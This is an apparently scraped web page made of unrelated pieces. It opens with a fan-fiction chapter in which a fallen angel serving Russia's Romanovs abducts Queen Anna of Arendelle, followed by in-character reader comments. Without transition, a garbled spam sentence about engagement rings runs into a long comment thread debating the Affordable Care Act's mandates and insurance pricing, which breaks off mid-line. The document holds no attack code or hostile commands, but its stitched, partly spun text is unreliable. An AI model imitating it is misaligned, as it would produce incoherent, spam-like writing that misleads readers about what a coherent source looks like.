wouldn’t have to attack this beautiful kingdom. I’d rather not, because I’m not that bloodthirsty, and I genuinely don’t dislike this place… or you, Queen Anna. As I’ve already said, I actually quite admire you. I’d prefer if a war with you can be averted.” “On whose authority do you speak for Russia,” demanded Anna, hackles rising. Rarely was she angry in public, but this woman was getting on her nerves. “Stop leading me on. And you’ve got some nerve, thinking you can come close to striking at our heartland. How do you know so much, anyway?” The mysterious and audacious woman sighed. “Your scepticism is expected. Maybe seeing is believing.” Her arm suddenly shot out and grabbed Anna by her lapel, pulling her close. Her black wheat stalk patterned boots dragging along the ground, an outraged, sputtering Anna grabbed the woman’s wrists, desperately trying to break free, but to her shock, her grip wasn’t just firm – it was unbreakable, her strength like steel. For some reason, there was no one around. Her face inches from the other’s, Anna stared up into the woman’s eyes. “Let me go!” she cried. “Soon,” whispered the woman. She drew closer, her soft lips brushing Anna’s nose. Her breath smelt of waterfalls and tundras. “And by the way, my name’s Sora. Russia’s third and final Grand Duke.” The ground rumbled and the air popped. Anna barely noticed the blood coming out of her ears from the boom. Anna was completely unprepared for how the ground left her feet and Sora shot up into the sky, like a vertical cannonball, the stinging wind slamming into Anna’s face and making her eyes water as Sora went up, up, up… higher and higher, away from the rapidly shrinking buildings of Arendelle, until Anna could feel their bodies punching through clouds and bursting into the open blue sky. Perhaps it was the shock or trauma, but Anna could swear she glimpsed, amidst her frantic screams and furious cries, a single white feather falling from Sora and floating back down to the distant ground. Gasping yet unable to let go of Sora as she kicked and thrashed in panic at the groundless air, Anna felt her world sinking into black. She couldn’t breathe, the air was too thin. They were enveloped in fire. Choking, Anna moaned as they shot even higher into the stratosphere, and she gagged and threw up. Sora ignored her puke, suddenly pausing and shooting like a meteor at the direction of the North Mountain, where Elsa’s old ice castle stood. Tears streaming down her cheeks, and her bun and braids undone, tresses a mess in her face, Anna continued to flail and jerk wildly, but was losing the will to resist. She wasn’t even sure she’d survive. Nykras and Yaraslaf were bad enough. But this? “Who… what are… you?” whispered Anna helplessly. A shellshocked queen went limp, surrendering to Sora’s grip and sinking into despair as she allowed herself to go unconscious. * 1581, many centuries ago. Moscow “You killed your own son in a fit of rage,” echoed the celestial voice. It was a female’s voice – gentle but frightened and disappointed. “How could you?” The stench of evil in that room was pungent, overwhelming. The first tsar of the new Muscovite tsardom, the fearsome Ivan the Terrible, cradled his head in his gnarled hands as he sat, slumped, beside the cleaned and washed body of his son, the man that was supposed to succeed him. His new dynasty was founded on the blood of his enemies, and now the sinister double-headed eagle was to be fed his own flesh and blood. “I was in a fit of rage, Sora,” he whispered, his voice choked. “I didn’t… no father could mean to do such a thing to his own beautiful child.” Ivan heard the flap of a feathered wing before him as he began to sob. Two slender, pale hands reached for him in the darkness, brushing along his knuckles as he continued to clutch his skull. “I’m going to go to hell for this.” Sora’s voice was pained as well. “My king…” “When the Varangian Rurikids founded our dynasty in Kiev, our holy Orthodox family was blessed with an almighty guardian that would watch over us. A righteous, mythic force for our great Christian dominion.” Ivan trembled. “Now that I’ve committed the mortal sin of filicide, you’re a fallen angel now. And there’s nothing you can do about it.” He began to moan as tears fell down his face. “I release you from your service, Sora. There is no angelic glory to be had in protecting a damned royal house.” Sora’s eyes glimmered. “I refuse.” Ivan blinked. “What?” Another whoosh of avian wings as Sora’s hands pulled the seated Ivan close, his elfin face pressing against her midsection. “Even if I leave you and your descendants – even if your dynasty is to be replaced by another one – they’ll still need protection. And if I’m now fallen because of you, then your successors better make up for it by keeping a roof over my head. I’ve got nowhere else to go,” came the wistful reply. Ivan hiccuped, chuckling miserably at Sora’s humour. “But seriously,” echoed her voice, I doubt your successors could get much worse than you, who murdered his own son.” Ivan grimaced. “We’re a cursed royal house, and whoever follows us will be too. Don’t be so sure.” * “Ugh…” Anna groaned as she stirred, rubbing her aching head. The inside of her mouth tasted foul. She gasped as her hands scrabbled at the ground, her gaze falling on the sweeping, panoramic view of Arendelle and Arenfjord far below the North Mountain’s peak. It was autumn, and there were already some loose flakes of snow gathered in mounds up here. “What am I doing up here?” she stuttered, whipping around, disoriented. She gasped in shock as her eyes fell on Sora’s back. The mysterious woman that could fly like an eagle was sitting in front of her, still in her Arendellian dress as she gazed down at the stunning view. “Relax,” said Sora placidly, staring at the sweeping Scandinavian landscape and not turning around. “I mean you no harm. I just wanted to impress upon you the odds that are aligned against Arendelle, and ask you to make an objective, rational choice. I say this as the Romanovs’ strongest protector.” “You seem pretty sure of yourself,” observed Anna bitterly. “Among the Grand Dukes, I’m the most senior. Just being objective.” Sora turned her head, peering at an enraged and terrified Anna. “Look, I get it. Following Russia’s policy towards the Western European powers might sound like coercion, but compared with the violence that Katina wants Arendelle and Russia to unleash against each other, I’d say it’s a price worth paying.” Anna glared at her. Then she stared at the craggy ground, from which loose and sporadic blades of grass grew. “Why don’t you just kill me?” she asked morosely, and briefly panicked as she realized she’d blurted that out in front of Sora. Back in Saint Petersburg, she’d been confident that Elsa would be able to best both Nykras and Yaraslaf. But for the first time in a long, long time, just as she did when Grand Pabbie warned her about their earliest trip north, she worried that Elsa’s magic might not be enough. She feared for Elsa. She feared for her people. How was she supposed to stand against such awesome power? Against a fallen angel? “Answer me!” cried Anna loudly when Sora didn’t reply. Her voice shook slightly as she remained on all fours, hands clutching the ground as she stared angrily down. “I hate being toyed with, Sora. I… I’d rather you take me on right here and now. Even if you’d crush me.” “It’s beautiful,” said the Grand Duke quietly, gazing out at the distant kingdom and the surrounding environs. “Your kingdom is truly full of good hearts and brave souls. It’d be a shame to attack it simply because my monarch wants to service her own political goals. Again, Your Majesty – we aren’t destined to fight.” She looked at Anna again. “I’m bound by the rules of war as much as I am by my ancient service to the Romanovs. I was once the guardian of an older dynasty: the Rurikids, Russia’s first royal family. I made a choice, centuries ago, to watch over the leaders of this great and vast land. I’ve stayed loyal to them. But that doesn’t mean I agree with everything they do.” Story art by PURY (@puryartist) She gave a small smile. “You probably know our game plan already. The lich, Nykras, will be targeting the Northuldra forest, while Yaraslaf will lead the Baltic Fleet to the North Sea. Since I’m the most senior of the Grand Dukes, my assignment is Arendelle itself.” A pit of dread opened in Anna’s already uneasy stomach. Sora didn’t seem to be lying; if anything, she was really quite transparent and open about her master’s strategy. Her straightforwardness made it all the more terrifying. “No,” she whispered, mind racing. Elsa and Hilde seemed to be the only allies that even remotely had a hope against Sora, but even then… “Don’t fret, Anna. I’m not attacking Arendelle unless Katina Romanov gives the order, and if there’s no war, you’ll never see me around here.” Anna gritted her teeth. “I’ve said it before and I’ll say it again. I can’t let Arendelle become a pawn of Russian foreign policy. “ “How about swearing nominal allegiance to the tsar’s cause?” pressed the fallen angel. “It’ll be unpalatable, but…” Anna laughed bitterly. “I’m grateful you’re trying to work out some kind of a compromise, but the peace talks have already passed. I have no choice but to prepare for your invasion, whichever day that comes.” She didn’t move from her spot: the queen was usually happy to make conversation, but for the first time, she wasn’t very curious at all. Not about Sora. Something about her was truly terrifying, far more than any of the other Grand Dukes. It was as if Sora was so knowledgeable, so confident, so right about the extent of her might, that she was trying to handicap herself and stop her mistress, Katina, from giving her the order to attack Arendelle. Sora slowly stood up, brushing her behind with her hands. “If you ever feel like talking to me, I’ll hear your voice. An angel never forgets, even a fallen one. Please consider it. I can’t go against my master, but I can mitigate her… love for war.” She extended her hand. “That’s all I wanted to say to you. I’m flying back to Moscow. I can take you back to your palace, if you want.” But Anna pulled away when Sora touched her hand. “I’ll walk back home myself,” snapped the queen, still in a state of slight shock and disbelief. “Suit yourself,” said Sora, shrugging. “It’s a long way back down. At least let me take you back to the forest outskirts beyond the kingdom.” “No. No, no, no,” cried Anna, her voice cracking as her still-wet eyes stung with unshed tears – not of grief, but of fury at Sora and worry at what was to come. “You’re not welcome here.” “Hey, maybe I was being too show-offy. I’m sorry if I was heavy-handed, alright? I didn’t mean you any harm. I’m trying to delay or even reverse what’s otherwise inevitable. My princess wills it. Better than showing up only on invasion day, no?” said Sora, reaching out and taking Anna’s hand, and this time, Anna didn’t try to pull away. She hung her head, shoulders slumped. “Why?” she asked miserably. “Why are you serving someone like Katina, Sora?” Sora smiled pensively. “You might as well be asking Countess Viola Mundilfari why she’s bound to that demon of hers… or why you’re queen of Arendelle.” She pulled Anna close, giving her a surprisingly tender embrace. Anna didn’t resist. “You’d probably best send Elsa against me if you wish to stand a chance,” she whispered into Anna’s ear, and to Anna’s tumultuous despair, she knew Sora was right. “I’m going to resist to my last breath. Even against someone like you, archon,” said Anna, pulling away and staring into Sora’s glimmering eyes. “I’m counting on it, Queen of Arendelle,” replied Sora sincerely and softly. The guardian angel gingerly released Anna, nodding soberly, and then shot into the sky, wind billowing violently against Anna’s jacket and dress. With a supersonic crack, she disappeared into the heavens, just like that. After several long moments, Anna fell to her knees on top of the North Mountain, and for a dozen reasons, began to cry. For the first time in her life, she couldn’t bring herself enjoy the view of her kingdom. * Sora, guardian angel of the Russian royal family since Ivan the Terrible, has joined her fellow Grand Dukes in preparation for Katina’s war on Arendelle! 12 thoughts on “Grand Duke Sora” “Holy. Fucking. Shit. That was…….wow. I know you don’t want war Anna, but, something tells me that Sora doesn’t want Katina to cause war either. I think Sora is trying to be a bridge between you and Katina like Elsa is between the Spirits and us. That’s just my thoughts. I wonder if Sora would be willing to talk to me.” Alan LikeLiked by 1 person I could barely say anything… let alone do anything. I was just too in shock. She took me all the way up the mountain by way of the very sky. I felt so powerless. I can’t help being angry with Sora, but now that I’m in my study brooding (where are Elsa and Kristoff?!), I can’t help but think that I was just too upset and confused to consider her words thoughtfully. You say she’d prefer peace to war. I think there’s something very big in there. I promise you that next time the Grand Duke makes contact, regardless of Katina or her compatriots, I’ll be ready and tell you. Love, Anna LikeLiked by 1 person “I agree, Anna. Maybe Sora will come back, I mean, didn’t she say she’ll hear your thoughts? Maybe she’ll hear mine. If she comes, I’ll let you know what happens.” Alan LikeLiked by 1 person I just met an angel. An angel. And flew into the sky. At this point, with how things are, I’d be surprised if she *couldn’t* hear your voice. Love, Anna LikeLiked by 1 person “I agree.” Alan Same here. As gentle as she seems at times, why did she fall? Did she fall with Satan when God cast him and other fallen angels out of Heaven and into Hell? I want a word with her too… LikeLiked by 1 person I can’t say I know, Uncle. She says she’s been in our world since… Ivan the Terrible? How long ago was that? What dark past does this angel have? I’m still thinking over what happened today. It’s late but I can’t sleep. Not after what Sora did to me. When she makes contact with our household or government again, I’ll be ready – Katina and the other Grand Dukes be damned. We’ll be ready. Love, Anna I know. She might be the only one who wants nothing to do with Katina’s warlike machinations. Sora may be the key to avoiding useless bloodshed and loss of lives. LikeLiked by 1 person I guess… well, apart from being taken up into the sky and barfing all over her, I guess I wouldn’t mind seeing Sora again. Mind you, I’m not the one with wings and who can fly across the continents at blinding speed… *grumble* Love, Anna No you’re not Sora But then again, she’s not the Queen Anna, either. 😉

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Guys that prefer to pick the engagement ring with no their partner realizing commonly come across it incredibly tricky unless they can be conscious of what their other half would like. In recent years significantly more girls princess engagement rings than ever are selecting their own ring in order for them to have 1 that’s just correct. This can also take the strain away from the man and ensure the answer yes’.” Bob, I looked at that calculator as well (great find), but for the family of 4 while the cost seems lower you have to factor in the overall cost of a family against that 50K of income (anyone with kids knows they are expensive). This also assumes that they qualify for the full subsidy and also that nothing happens during the year where income is reduced etc. The change in income problem is an issue that we are starting to read more about how that is going to be handled as well. Seems like most folks believe that the IRS will catch up to you somehow, but I think that this is quite unclear yet as to actually how that can be acheived. Additionally, this scenario assumes that the coverage is available for the family in their state as well (see Mississippi) or that the available plans have a network in the area where they live (I believe Montana has gaps due to Insurers not joining the exchange year 1). Lots of potential pitfalls to Obamacare, and these types of issues are going to be problematic as well as the overall technical issues that the Fed and State governments are facing just trying to get the exchanges live (I work in insurance tech, its going to be a mess when they try and roll this out). I think the concept of Obamacare is ok, just don’t think the approach was particularly well thought out nor was the actual problem of Health Care in the US addressed (It’s the Cost!). I spent a little time on the excellent Kaiser subsidy calculator website. A male age 30 making $30,000 has to spend $2500 a year for a silver plan with a $2,050 deductible. That is after his subsidy. $200 bucks a month is a lot when you are making $30,000 a year pre-tax. Paying the penalty is going to look pretty good. Incidentally, the situation for families is better. A man and wife with 2 kids and total income of $50,000 will pay about $300 a month out of pocket for insurance after the subsidies are factored in. First sentence should read the majority of young healthy people will choose to pay the penalty. Bob – Informative comment. If I were a betting person, I would bet that the number of young healthy people will choose to pay the penalty instead of sign up for health insurance for two reasons. First, the penalty is way too low relative to the likely cost of insurance. The second is that they can always sign up for insurance after they get sick or become pregnant because of the guaranteed issue provision in the law. Twenty years ago, Washington State had community rating coupled with guaranteed issue and a mandate to purchase insurance. The mandate proved so unpopular that the legislature repealed it but kept community rating and guaranteed issue. One healthy woman six month pregnant and on her way to a normal healthy delivery signed up for insurance. After she had her baby and the bills were paid by the insurer she cancelled the policy and had the audacity to send them a letter thanking them for their coverage and suggesting “I look forward to doing business with you again the next time we are pregnant.” She did exactly that a second time. The bills paid by the insurer for the two deliveries were six times what she paid in premiums. This is classic adverse selection and is typical of what happens under guaranteed issue provisions without a mandate to purchase insurance backed up by a stiff penalty if you don’t. Washington state later allowed insurers to look back nine months for pre-existing conditions and could deny coverage if they found any. If the Obama administration really wants young healthy people to sign up for health insurance, the penalty for not buying it needs to be something close to the cost of the least expensive policy. Perhaps 90% of the cost of a bronze level plan might be appropriate. Second, insurers need to be able to look back at least nine months for pre-existing conditions unless you buy insurance as soon as you become eligible for in in January 2014. After that, there should be annual open enrollment periods to sign up which is how Medicare Parts B and D work. If you miss the window, you have wait until the next open enrollment period unless you qualify for an exception like losing employer coverage or aging out of coverage under a parent’s policy or losing coverage under a spouse’s plan. The law as currently written will not work. Period. Separately, a senior insurance broker I know confirms Jeff Goldsmith’s comments regarding likely sticker shock in the small group market. This isn’t going to be pretty. “If the Obama administration really wants young healthy people to sign up for health insurance, the penalty for not buying it needs to be something close to the cost of the least expensive policy.” Barry, we are being forced to buy into the most expensive coverage on the planet. Only the non-employer insured and taxpayers are being given the shit end of the stick. No one else in the industry is skipping a profit beat. I’m probably in the doughnut hole of spouse with employer coverage open to family and not eligible for subsidy, even though there is no bargain in that group. When I was insured I was able to buy for a lot less from BCBS as an individual not in my wife’s group coverage, which was also BCBS. I’m not going to be the sacrificial lamb in this mess. In case anyone is interested, (now isn’t that a way to start a blog post!), Iet me go on about the actuarial aspects of the ACA. (I used to work for an insurance company, though I am not an enrolled actuary.) Anyways, the major determinant in pricing for insurance companies is how many large claims they have to pay for a given group. The reason that underwriting was so crucial is that it minimized the number of large claims at least in the first 3-5 years that a person was insured with the company. The reason for large premium increases after 3-5 years was that if the group of insureds was fairly stagnant, the number of large claims would start to spiral upwards. You saw this with a vengeance in any workplace with seniority and tenure, such as auto companies or school districts. It is no accident that the cheapest insurance plans before the ACA excluded maternity, had relatively low lifetime limits, and sometimes outright excluded chemotherapy. OK. Fast forward to the ACA. Anyone who could read Health Affairs would know that guaranteed issue would lead to higher claims and higher premiums. It happened like clockwork in five or six states over the last 20 years. But the ACA was going to mitigate the premium increases by roping in lots of young healthy persons who would on average not file large claims. The employer penalties were also designed to get more young people insured, either on the employer’s dime or in the exchanges. If I ran the circus, I would have attacked large claims as padded and overpaid. I have an article coming out on that subject. However, Obama made a cryptic ‘deal’ with hospitals and drug companies, so that was off the table. He has not been one for confronting corporate power anyways. It is true that numerous other nations rely on some form of mandate to make their risk pool a lot “deeper” in Jeff’s terms. But these nations have much more regulated labor markets, and shall we say more obedient populations. The ACA is kind of rolling the dice on getting young people insured. Zeke Emmanuel more or less admitted that. We will see if the Obama administration can steer through this. Two points to make, mainly in re: Jeff’s comments: a. The small group and nongroup insurance markets have been kind of a dumping ground for the past 50 years. First the corporations with younger healthier workforces were pulled away from Blue Cross’s community rating way back in the 1950’s. Then the largest corporations began self-funding. This left the small groups and individuals to the insurance companies, which by and large shafted them with many lowball pricing schemes — followed by constant rate increases with the intention of having a lot policy lapses. b. The ACA is not social insurance by my definition, Actually I follow Joseph White’s definition of social insurance as guaranteed coverage, paid for with either taxes or premiums that act just like taxes, and with no one excluded or exempted from participation. The ACA follows the American habit of thinking that health care can be solved by millions of people making good decisions, and many of the millions getting subsidies to make the good decision easier. Social insurance like Medicare makes the funding decision for you. The ACA tries to harness private insurers to promote the public good. In some ways this was what Bill Clinton and Ira Magaziner tried also. I agree with Jeff that if it works we will be lucky, Jeff – While I agree with your last comment, I think we would be well served if we put more effort into tackling healthcare costs, especially the price gap vs. other developed countries per medical service, test, and procedure and brand name drugs and devices. I’ve long advocated for robust price and quality transparency tools that will enable both patients and referring doctors to more easily identify the most cost-effective high quality providers in real time and direct more of their business to them. Tiered network and narrow network insurance products would also be helpful as would tort reform that gives doctors safe harbor protection from failure to diagnose lawsuits if they follow evidence based guidelines where they exist. I also think reference pricing, which CALPERS is embracing, for specific procedures like MRI and CT scans, colonoscopies and hip and knee replacements is a good step in the right direction. Finally, we need special rules that govern how much can be charged for care that must be delivered under emergency conditions if and when insured patients wind up in an out-of-network hospital. The uninsured should be charged no more than some appropriate percentage above Medicare rates for emergency care. Historically, I think large employers have resisted tiered and narrow insurance networks as well as reference pricing because they were afraid that employees wouldn’t like them and/or wouldn’t understand them. The conventional wisdom was that employees wanted a broad provider network and small, simple to understand coinsurance payments and low or at least reasonable deductibles. Employers need to drive home the message that the more they spend for health insurance on their employees’ behalf, the less money there will be for raises, hiring and expansion and, at the end of the day, the employer’s healthcare costs are pushed back to employees in the form of lower salaries than would otherwise prevail. “the insurance actuaries fear that they will get the bad risks first, and only later will they get the many new good risks to offset the bad ones.” Well the higher the quotes the less likely the healthy ones will buy. Then once the “don’t-need-insurance-now group starts to trickle in when will they get the benefit of a larger pool of like healthys to lower their rates. It’ll have to be people willing to sacrifice themselves for the common good – If that were the case they would not be uninsured in the first place. Private insurance is just not going to work. Not to quibble, but it isn’t really “insurance” any more if you cannot rate and price the actual risk. We’re off into “social” insurance land with this law, and there are VERY significant transition benefits and costs, depending on what you were paying before, and, crucially, whether you were previously insured or not. Overall, we are, as you suggested, better off in larger pools, which should be more stable long term. Unless whoever the “insurer” is can reduce the expense somehow, again as you said earlier, this is going to be a very expensive proposition for taxpayers, who will be compelled, thru subsidies, to make whatever we’re going to call this new health benefit affordable to a large enough group of people. This has been a seriously messed up health reform, so far. And to go thru all this and STILL have 30 million uninsured left over at the end of the cycle is really discouraging. Jeff, when can an insurance company ever rate (before ACA) the actual risk? They don’t know what level of risk will call to sign up – more younger, more older. But you know I don’t think it was ever insurance because the insurance companies had the risk market segmented so much there was not much sharing of risk. As far as the ‘millions more customers’ argument, here is what I think is the case: the insurance actuaries fear that they will get the bad risks first, and only later will they get the many new good risks to offset the bad ones. The many new good risks are not a sure thing, whereas getting bad risks is almost a sure thing. Actuaries are paid to be conservative, so they are raising rates now. Also, the public may underestimate how many good risks it takes to offset the bad risks. When the federal high risk pool was opened in 2011, the first 100,000 enrollees had an average claim cost of $31,000 apiece. Using a pocket calculator, it would take about 1 million perfectly healthy young men to create an inexpensive risk pool with the high risk enrollees. That is a very rough estimate but you see the challenge. Barry is correct about the downside of higher mandated wages and benefits in the restaurant industry. Restaurant prices would go way up, but the middle class customers of those restaurants are not enjoying higher incomes. This is a recipe for higher unemployment. It is better to have a job with no health insurance, vs. no job and maybe have Medicaid in some states. The solution is to beef up safety net health care, rather than turn over the US labor markets to expand health insurance (and wind up with high deductibles anyways.) Also — Barry is the second commentator (after Jeff Goldsmith) to mention that small group health insurance premiums will go up under the ACA. If this is true, it was clearly NOT an advertised feature of the ACA. I myself have been so caught up in the drama about the over-50 employee mandate that I was not aware this was on the radar. I wonder how large the impact will be. Will it be worse than the 10-20% annual increases that small groups have been getting for years? A number of the large insurers have told their brokers to expect 30-70% increases for their small group clients, a direct consequence of spreading the cost of highly concentrated risks (lifetime caps on benefits, guaranteed issue and renewal, no pre-existing conditions and, if you have younger workers, the 3:1 rating bands) over the entered small group and non-group pool. Who knows what else is in there. . . The private health insurance risk pool is really shallow, and roughly a trillion dollars (the size of a developing country). It’s like Lake Superior. And ACA effectively dredged the bottom, stirring up a lot of sediment. There is no actuarial navigation chart through all the little bays and shallows, either. And we’re adding tens of billions in subsidy dollars to it. Moral hazard and risk will not disappear. Rather, its consequences are now political and will be blamed on the carriers. If Bob L. is still tracking these comments, it would be a great time for him to chime in. . . . Jeff, if the small group is hiking prices that much it does not give much hope for the individual market. Including everyone in the same risk pool is something I’ve advocated as martket segmentation is not insurance risk pooling – BUT we now see hoe our high prices and private equity in health care is not doing us any favors. Where did the, “but you’ll get millions of more customers” argument go when ACA was being sold and promised that this would offset insuring more risk? How is it that Congress passed a law and the POTUS can alter its implementation? That asked, I think you have omitted an essential component of the delay. The POTUS has had an epiphany. The financial projections the White House and Congress used to pay for Obamacare are flawed, because so much of it was to come from the savings from using HIT (and we now know that such is not happening). Costs of care and outcomes of care have not improved when HIT is deployed. Sorry to let you know the facts. Congress does not control implementation of laws. That is left to the executive branch to “execute.” This is not some hidden scandal if that’s the point you’re trying to make. While there has been a lot of discussion about companies that offer health insurance to their employees vs. those who don’t, I haven’t seen any good data on how many employees work for firms that offer insurance that falls short of the ACA’s essential benefit mandate including comparatively modest deductibles. I’m sure there are plenty of employers that will have to beef up their coverage at considerable cost which will get reflected in a combination of higher required employee contributions and smaller raises or none at all vs. what would have been provided in the absence of higher health insurance costs. The price of their products and services will presumably also rise to reflect the higher health insurance costs. People should also think about the implications of what it would take to bring comprehensive health insurance to the restaurant industry which has millions of low paid workers. For a typical chain restaurant, about one-third of the revenue dollar goes to pay for the actual food and beverages. Another 10%-15% goes for rent and most of the rest is for labor and benefits including tips paid by customers on top of the menu price. If you go to an ordinary restaurant in a large Western European city, you will find that a typical meal costs two to three times what it does in the U.S. It’s not uncommon for a burger, fries and a soda to cost $30 or more in the equivalent of a diner. How many fewer restaurants and how many fewer restaurant workers do you think there would be in the U.S. if menu prices suddenly doubled or more? Workers who still have jobs would make considerably more money and would have good health insurance but there would be a lot fewer of them. Everything in life is a tradeoff. Finally, as for implementing a health insurance system paid for by taxes, Americans just wouldn’t tolerate the level of taxation needed to do that. It’s as simple as that. Moreover, since prices per medical service, test, procedure and brand name drug are significantly higher in the U.S. than in other developed countries, even a single payer system would not be as effective as advocates suggest in reducing costs. A recent article in the New York Times that described the very high cost of intensive treatments delivered to women who are pregnant not only showed that pregnancies cost far more in the U.S. than elsewhere but that even Medicaid which is notorious for paying very low prices for care pays an average of over $9,000 for a routine pregnancy and delivery compared to about $4,000 in the next most expensive countries. Go figure. Good ponts, but politically why is it so hard for even a Democrat to go after cheap-labor employers? Is it because even many Democrats would rather have low low prices vs. taking care of workers? Is it because labor unions are preoccupied with the precarious status of their own members, and ignore unorganized workers? (which has been true for a long time in America?) Is it because the low wage employers can scare us with actual or proposed layoffs? Is it because very few Americans appreciate how much money is made by large restaurant chains and similar businesses? I do not really know the answer. Rob, I am totally with you on helping low wage workers. Terrible things go on every day in the non-union cheap labor underworld. However, I cannot follow your assertion that low wage workers are being thrown under the bus by Obama. They did not have employer health insurance before the ACA. Under the ACA, a few employers were going to offer mini-med plans, but most were going to send workers to the exchanges and just pay the penalty. Now there is no penalty for a year. The workers can still go the exchanges. The government will incur more debt I suspect. No great change for the workers, though I may have missed something. Yea, you missed something. Public policy legislation should force all employers to provide health insurance, OR it should go in another direction and provide or subsidize insurance for everyone. I will say this again, why should I as a taxpayer provide a subsidy to the employees of companies that pay low or minimum wage so that those companies can reap higher profits? If the Obama legislation had not given an exemption to companies that in many cases are exploiting their workers, or required a substantial(not trivial) penalty for not providing medical insurance, these employees would have realized a substantial increase in absolute income, would have had access to the same tax-exemption(or subsidy) that 96% of other workers already are receiving the benefit of, and the taxpayer would not be on the hook for an additional tax subsidy in the form of insurance exchanges. Obama is effectively giving the most exploitive businesses in America a subsidy that taxpayers have to foot the bill for, in order to protect corporate profits(Uwe Rheinhardt’s opinion notwithstanding) Nobody said the process would be without pain, but that doesn’t mean Obamacare wasn’t the right step. The “right step” should include cost controls not just using subsidies to compensate for business as usual health inflation. Wait til you see your mandated exchange premium before you think Obamacare is too much pain or not. I’ll say it again, why would the Obama administration throw the most vulnerable, underrepresented and underpayed workers in America under the bus so to speak, and allow their employers to be exempt from the health care mandate and make the tax payer pay for their health care benefits , and subsidize the profits of just those industries you mentioned? You don’t site any references for your statistics, but even if they are accurate(which is debate able), 2 million workers are a lot of hard working individuals to turn your back onand throw under the bus. If your statistics are accurate, How is it that 4% of businesses are able to so effectively lobby the Obama administration that it would(embarrassingly) back down from its insurance mandate? Why should taxpayers take on the burden of subsidizing the health insurance of these able bodied workers when as you say 96% of all other businesses are able to provide that benefit? Wouldn’t forcing companies with a high percentage of low income or minimum wage employees, realize a large increase in wages if their companies were required to provide health care benefits? The solution is not a hodgepodge of regulations where some companies provide benefits and some do not, nor is the solution for some segments of the population , through either age or economic status get free or subsidized health care benefits while others do not. The solution is a national health care system to benefit everyone equally,and not the few, paid with a fair and equitable tax. Rob, the taxpayer is subsidizing no matter what. Employees are not taxed on the benefit and the business deducts the expense from their tax return. Those not covered at work will have to get insurance through the exchanges and whatever taxpayer subsidy they can get to help pay. I agree on a national (non-private insurance) system but that will be taxpayer funded as well. That won’t happen until health insurance is no longer profitable for private insurance companies. About 96% of businesses with over 50 employees already provide health insurance. The 4% who do not provide health insurance now were the target of the mandate. This is about 10,000 businesses with a total of 2 million employees. These businesses are (no surprise) concentrated in retail, restaurants, car wash chains, etc. Although these businesses are not high in prestige, I have noticed that in every attempt at health reform they are able to defend their cheap-labor business model. Why can 4% essentially outvote 96% time and again? That will take a longer analysis than I have the time or the skill to complete. It could be because America needs these low wage businesses more than it cares to admit. Without them you would have much higher levels of youth unemployment. Anyways, Dr Reinhardt is correct that the solution here is social insurance. The employees of Walmart still get free public schools and public libraries and police and fire, even with low wages, because we all pay taxes for these public services. The only thing I would like to see is for those businesses which do not provide health insurance to pay higher payroll taxes. And not by some obscure 30 hours formula either……just add 2 or 3 per cent to their Medicare tax assessment. Bob Hertz, The Health Care Crusade Good!!! Perhaps able bodied workers SHOULD pay for their own health insurance(even if it is in the form of lower take home pay) rather than have others subsidize their insurance in the form of higher taxes. I am not an economist, so I will have to take your word for it, but it appears to be a specious argument to claim that by not paying for workers health insurance(or reducing absolute wages) companies would not increase profits by decreasing overhead. A second point that you don’t address is that liberals are constantly clamoring to increase the minimum wage. If the new health care legislation forced corporate giants like Walmart to pay for health insurance of their minimum wage workers, that in fact would be a huge increase in their wages. Lastly, if your argument was truly valid, and paying for health insurance did not diminish corporate profits, why did big business lobby so hard for an exemption, and why did the Obama administration capitulate to their demands? I think I would rather have large corporations pay for their own workers medical insurance out of corporate profits, even if it means less profit to shareholders, as opposed to having me, the taxpayer subsidize the health insurance premiums of their workers. Rob: Few economists believe the the employer-paid premiums come out of corporate profits. We are persuaded by theory and empirical evidence that for the most part, and over the longer run, the employer’s cost of sponsoring health insurance is shifted backwards to employees in the form of lower take-home pay. I think of this provision as one of the more dubious once in the ACA and am glad it is being postponed. Perhaps a bi-partisan coalition will form to repeal it altogether. If employers find it in their interest to sponsor health insurance coverage for their employees — as most larger ones do — fine. If they don’t, let them concentrate on making widgets and let the exchanges take care of their employees, often with subsidies. That is what the exchanges are for: the provision of social health insurance. I am puzzled by conservatives who during the 90s wanted to get rid of employment-based insurance in favor of portable individual policies purchased on exchanges, but now lament when business firms dump employees’ coverage onto the exchanges. Is that not what was wanted in the 1990s? “There has been talk that individuals may choose to take the penalty since it would be, in some cases, considerably cheaper than purchasing even the least costly health insurance plan on the health exchanges.” I’m going to claim religious exemption. Jeff Goldsmith and I will create a new religion and then claim an exemption, too. Any ides what that should be? Is this News a Crushing Blow For ObamaCare’s Credibility? …. I love how corporations get a reprieve from ObamaCare, but individuals don’t. Maybe we need to petition the Supreme Court to rule that people are also in fact, people. Corporations ARE people, remember? Just a lot bigger. . . Cynthia is right. The individual mandate is much more troublesome politically. And they still haven’t let the contracts to employ and train all the Navigators to help people sign up- with ninety days to go before the Exchanges are supposed to open. It will likely be a VERY bumpy Exchange opening. And if it is, as one CMS CTO type said they are trying to avoid- , “a third world experience” – far fewer people will sign up than expected, penalties or no. This postponement takes very little off the table for 2014- there are still the big price increases likely for small employers and those in the individual market, and a lot of small employers dropping coverage. This law is an electoral time bomb for the Democrats. It would thus be amazing if there were no more delays. One wonders if fear of angering the President has inhibited the free flow of communication about all the linked implementation challenges. AND, not that anyone cares, the federal deficit got $10 billion bigger because that’s what the CBO expected Treasury to collect in penalties. . . I read somewhere that if individuals do not obey the mandate to be insured, they don’t go to jail. They pay a modest penalty (pardon me, tax), probably just enough to cover the actuarial cost of stiffing the rest of us when they fall ill, get care and can’t pay for it without insurance. You mean when they fall ill, and we as a society fail to take care of our brothers and sister, so we instead rob them? Is that what you mean? The Obama administration will re-focus on health care at a later date. They are presently too focused on apprehending Ed Snowden in order to throw him in a cold, dark hole as a deterrent to any would-be whistle-blowers. Our liberty’s under attack Our freedom is starting to crack At tyranny’s rise A proud nation dies And rights begin fading to black The Limerick King So, what about workers in a 50+ company – do they now also get a 1 year extension on the personal mandate? The bottom line is the administration was informed that employers were going to convert even more jobs to part time. So Obama delayed its implementation. The working stiffs are getting a royal screwing over this damn law! But, but I thought this was the law of the land, celebrated and ruled constitutional by the Supreme Court? Got to love our White House, again, picking and choosing what laws to enforce and follow. Gee, the Dictator does what he likes, while the Law be damned! Rest assured that the 2014 mid-term elections had NOTHING to do with this unilateral decision (*sarcasm*). Talk about double standards — the employer mandate has been delayed, but the individual mandate has not! This is what happens when you have a government that’s dictated by Big Business at the expense of the individual worker and the self-employed, resulting in lots of corporate welfare with lots of red tape, confusion, waits, ineptitude and incompetence. Congress wants its staffers to be exempt from ObamaCare, but we the people are stuck with it. REPEAL it, and repeal it now! IRS Code § 6055. Reporting of 